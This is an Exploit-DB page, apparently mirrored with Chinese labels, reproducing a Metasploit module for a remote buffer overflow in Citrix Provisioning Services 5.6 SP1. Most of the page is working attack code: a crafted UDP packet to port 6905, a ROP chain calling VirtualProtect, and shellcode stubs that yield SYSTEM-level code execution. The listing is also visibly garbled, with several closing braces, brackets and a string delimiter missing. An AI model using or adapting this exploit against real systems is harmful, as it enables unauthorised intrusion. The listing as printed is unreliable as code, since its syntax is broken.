Citrix Provisioning Services 5.6 SP1 – Streamprocess Opcode 0x40020002 Buffer Overflow (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2012-06-01
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18969/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})

super(update_info(info,

'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',

'Description'=> %q{

This module exploits a remote buffer overflow in the Citrix Provisioning Services

5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode

0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution

under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2

and Windows XP SP3.

'License'=> MSF_LICENSE,

'Author' =>

[

'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author

'juan vazquez'# Metasploit module

'Version'=> '$Revision: $',

'References' =>

[

['OSVDB', '75780'],

['BID', '49803'],

['URL', 'http://support.citrix.com/article/CTX130846']

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'BadChars' => "\x00",

'EncoderOptions' => {'BufferRegister'=>'ECX'},

'Platform' => ['win'],

'Targets'=>

[

[ 'Citrix Provisioning Services 5.6 SP1',

{

'Offset' => 5596,

'Ret'=> 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe

}

]

'Privileged' => true,

'DisclosureDate' => 'Nov 04 2011',#CTX130846 creation date

'DefaultTarget'=> 0))

register_options([Opt::RPORT(6905)], self.class)

end

def exploit

packet ="\x02\x00\x02\x40" # DATA MSG

packet << rand_text_alpha_upper(18)

packet << "\x00\x00\x00\x00" # Length

packet << rand_text_alpha_upper(target['Offset'])

packet << [target.ret].pack('V')

rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe

rop_gadgets =

[

0x0045b141, # POP EAX; RETN streamprocess.exe

0x1009a1bc, # VirtualProtect()

0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe

0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe

0x004ad0cf, # POP EBP; RETN streamprocess.exe

0x00455d9d, # PUSH ESP; RETN streamprocess.exe

0x00497f5a, # POP EAX; RETN streamprocess.exe

0xfffff9d0, # dwSize

0x00447669, # NEG EAX; RETN streamprocess.exe

0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe

0x00426305, # POP ECX; RETN streamprocess.exe

0x00671fb9, # lpflOldProtect

0x004e41e6, # POP EDI; RETN streamprocess.exe

0x0040f004, # RETN streamprocess.exe

0x00495c05, # POP EAX; RETN streamprocess.exe

0xffffffc0, # flNewProtect

0x0042c79a, # NEG EAX; RETN streamprocess.exe

0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe

0x0045c1fa, # POP EAX; RETN streamprocess.exe

0x90909090, # NOP

0x00435bbe, # PUSHAD; RETN streamprocess.exe

].pack("V*")

packet[398, rop_nop.length] = rop_nop

packet[550, rop_gadgets.length] = rop_gadgets

# Put payload address in ecx

geteip = "\xeb\x03" # jmp short 0x5

geteip << "\x59" # pop ecx

geteip << "\xff\xd1" # call ecx

geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"

packet[634, 10] = geteip

packet[644, payload.encoded.length] = payload.encoded

print_status("Trying target #{target.name}...")

connect_udp

udp_sock.put(packet)

handler

disconnect_udp

end